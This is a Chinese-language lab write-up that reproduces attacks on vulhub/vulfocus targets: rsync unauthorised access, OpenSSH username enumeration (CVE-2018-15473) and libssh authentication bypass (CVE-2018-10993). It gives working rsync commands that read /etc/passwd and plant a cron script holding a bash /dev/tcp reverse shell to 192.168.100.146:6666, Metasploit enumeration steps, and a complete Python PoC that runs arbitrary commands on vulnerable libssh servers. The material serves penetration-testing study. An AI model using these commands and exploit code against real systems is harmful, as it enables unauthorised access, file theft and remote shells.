目录
- 服务攻防-应用协议rsync&ssh漏洞复现
- 漏洞复现
- 配置不当-未授权访问-rsync文件备份
- OpenSSH 用户名枚举漏洞
- libssh身份验证绕过漏洞
服务攻防-应用协议rsync&ssh漏洞复现
漏洞复现
配置不当-未授权访问-rsync文件备份
rsync默认端口:873
rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件 传输。
其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配 置ACL或访问密码,我们将可以读写目标服务器文件。
靶场:vulhub
或vulfocus
参考:rsync未授权访问
开启环境:
环境启动后,我们用rsync命令访问:
rsync rsync://your-ip:873/
//靶场映射了端口
rsync rsync://192.168.100.134:43983
可以查看模块名列表:
访问列表:
rsync rsync://your-ip:873/src/
rsync rsync://192.168.100.134:43983/src
发现这是一个Linux根目录,我们可以下载任意文件:
rsync -av rsync://your-ip:873/src/etc/passwd ./
rsync rsync://192.168.100.134:43983/src/etc/passwd ./
还可以尝试上传:
将passwd文件上传到/src目录下
rsync ./passwd rsync://192.168.100.134:43983/src
查看验证:
rsync rsync://192.168.100.134:43983/src
由于靶场时间原因,重启靶场,继续实验:
可反弹shell:
//下载crond文件
rsync -av rsync://192.168.100.134:39525/src/etc/crontab ./
点击查看:
注意该行语句的含义:
表示在每小时的第17分钟执行run-parts --report /etc/cron.hourly命令
17 * * * * root cd / && run-parts --report /etc/cron.hourly
创建一个shell文件并写入反弹shell命令:
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.100.146/6666 0>&1
赋予执行权限:
chmod +x shell
将写好的shell文件上传至/etc/cron.hourly
rsync -av shell rsync://192.168.100.134:39525/src/etc/cron.hourly
本地监听:
nc -lvvp 6666
等待反弹即可。
OpenSSH 用户名枚举漏洞
参考:CVE-2018-15473
OpenSSH 7.7前存在一个用户名枚举漏洞,通过该漏洞,攻击者可以判断某个用户名是否存在于目标主机中。
开启环境:
环境启动后,我们在客户端执行
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@your-ip -p 20022
,输入密码vulhub
,即可登录到容器中。
可直接使用exp进行利用:
exp链接:CVE-2018-15473-Exploit
python sshUsernameEnumExploit.py --port 20022 --userList exampleInput.txt your-ip
方法二:
还可以使用msf进行验证测试:
msfconsole //开启msf
search ssh //搜索
use 53
set rhosts 192.168.100.134
set rport 20022
set user_file "字典路径"
run
配置详细信息:
执行:
执行发现,root
、example
、vulhub
、nobody
等用户是存在的用户。
libssh身份验证绕过漏洞
参考:libssh 服务端权限认证绕过漏洞
libssh是一个在客户端和服务器端实现SSHv2协议的多平台C库。在libssh的服务器端状态机中发现了一个逻辑漏洞。攻击者可以在认证成功之前发送
MSG_USERAUTH_SUCCESS
消息。它可以绕过身份验证并访问目标SSH服务器。
开启靶场环境:
环境启动后,我们可以连接your-ip:2222
端口(账号密码:myuser:mypassword
)
利用:
参考:CVE-2018-10993
根据参考,可直接利用poc:
#!/usr/bin/env python3
import sys
import paramiko
import socket
import logging
logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
bufsize = 2048
def execute(hostname, port, command):
sock = socket.socket()
try:
sock.connect((hostname, int(port)))
message = paramiko.message.Message()
transport = paramiko.transport.Transport(sock)
transport.start_client()
message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
transport._send_message(message)
client = transport.open_session(timeout=10)
client.exec_command(command)
# stdin = client.makefile("wb", bufsize)
stdout = client.makefile("rb", bufsize)
stderr = client.makefile_stderr("rb", bufsize)
output = stdout.read()
error = stderr.read()
stdout.close()
stderr.close()
return (output+error).decode()
except paramiko.SSHException as e:
logging.exception(e)
logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
except socket.error:
logging.debug("Unable to connect.")
return None
if __name__ == '__main__':
print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))
执行验证:
python libssh_poc.py 192.168.100.134 2222 "id"
python libssh_poc.py 192.168.100.134 2222 "whoami"
python libssh_poc.py 192.168.100.134 2222 "touch /123.txt"
python libssh_poc.py 192.168.100.134 2222 "ls /"
成功创建: